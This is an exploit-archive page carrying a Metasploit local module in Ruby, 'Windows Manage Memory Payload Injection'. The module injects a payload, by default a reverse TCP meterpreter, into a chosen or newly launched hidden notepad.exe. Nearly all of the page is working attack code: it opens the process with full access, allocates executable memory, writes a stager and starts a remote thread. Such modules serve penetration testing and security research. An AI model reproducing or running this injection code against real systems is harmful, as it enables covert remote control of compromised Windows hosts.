Windows Manage Memory Payload Injection



EKU-ID: 2985 CVE: OSVDB-ID:
Author: sinn3r Published: 2013-01-28 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
 Rank = ExcellentRanking

 def initialize(info={})
  super( update_info( info,
   'Name'          => 'Windows Manage Memory Payload Injection',
   'Description'   => %q{
     This module will inject a payload into memory of a process.  If a payload
    isn't selected, then it'll default to a reverse x86 TCP meterpreter.  If the PID
    datastore option isn't specified, then it'll inject into notepad.exe instead.
   },
   'License'       => MSF_LICENSE,
   'Author'        =>
    [
     'Carlos Perez <carlos_perez[at]darkoperator.com>',
     'sinn3r'
    ],
   'Platform'      => [ 'win' ],
   'SessionTypes'  => [ 'meterpreter' ],
   'Targets'       => [ [ 'Windows', {} ] ],
   'DefaultTarget' => 0,
   'DisclosureDate'=> "Oct 12 2011"
  ))

  register_options(
   [
    OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
    OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
   ], self.class)
 end

 # Run Method for when run command is issued
 def exploit
  @payload_name = datastore['PAYLOAD']
  @payload_arch = framework.payloads.create(@payload_name).arch

  # syinfo is only on meterpreter sessions
  print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

  pid = get_pid
  if not pid
   print_error("Unable to get a proper PID")
   return
  end

  if @payload_arch.first =~ /64/ and client.platform =~ /x86/
   print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
   print_error("Migrate to an x64 process and try again.")
   return false
  else
   inject_into_pid(pid)
  end
 end

 # Figures out which PID to inject to
 def get_pid
  pid = datastore['PID']
  if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
   print_status("Launching notepad.exe...")
   pid = create_temp_proc
  end

  return pid
 end


 # Determines if a PID actually exists
 def has_pid?(pid)
  procs = []
  begin
   procs = client.sys.process.processes
  rescue Rex::Post::Meterpreter::RequestError
   print_error("Unable to enumerate processes")
   return false
  end

  pids = []

  procs.each do |p|
   found_pid = p['pid']
   return true if found_pid == pid
  end

  print_error("PID #{pid.to_s} does not actually exist.")

  return false
 end

 # Checks the Architeture of a Payload and PID are compatible
 # Returns true if they are false if they are not
 def arch_check(pid)
  # get the pid arch
  client.sys.process.processes.each do |p|
   # Check Payload Arch
   if pid == p["pid"]
    vprint_status("Process found checking Architecture")
    if @payload_arch.first == p['arch']
     vprint_good("Process is the same architecture as the payload")
     return true
    else
     print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
     return false
    end
   end
  end
 end

 # Creates a temp notepad.exe to inject payload in to given the payload
 # Returns process PID
 def create_temp_proc()
  windir = client.fs.file.expand_path("%windir%")
  # Select path of executable to run depending the architecture
  if @payload_arch.first== "x86" and client.platform =~ /x86/
   cmd = "#{windir}\\System32\\notepad.exe"
  elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
   cmd = "#{windir}\\System32\\notepad.exe"
  elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
   cmd = "#{windir}\\Sysnative\\notepad.exe"
  elsif @payload_arch.first == "x86" and client.platform =~ /x64/
   cmd = "#{windir}\\SysWOW64\\notepad.exe"
  end

  begin
   proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
  rescue Rex::Post::Meterpreter::RequestError
   return nil
  end

  return proc.pid
 end

 def inject_into_pid(pid)
  vprint_status("Performing Architecture Check")
  return if not arch_check(pid)

  begin
   print_status("Preparing '#{@payload_name}' for PID #{pid}")
   raw = payload.generate

   print_status("Opening process #{pid.to_s}")
   host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
   if not host_process
    print_error("Unable to open #{pid.to_s}")
    return
   end

   print_status("Allocating memory in procees #{pid}")
   mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

   # Ensure memory is set for execution
   host_process.memory.protect(mem)

   print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
   print_status("Writing the stager into memory...")
   host_process.memory.write(mem, raw)
   host_process.thread.create(mem, 0)
   print_good("Successfully injected payload in to process: #{pid}")

  rescue Rex::Post::Meterpreter::RequestError => e
   print_error("Unable to inject payload:")
   print_line(e.to_s)
  end
 end

end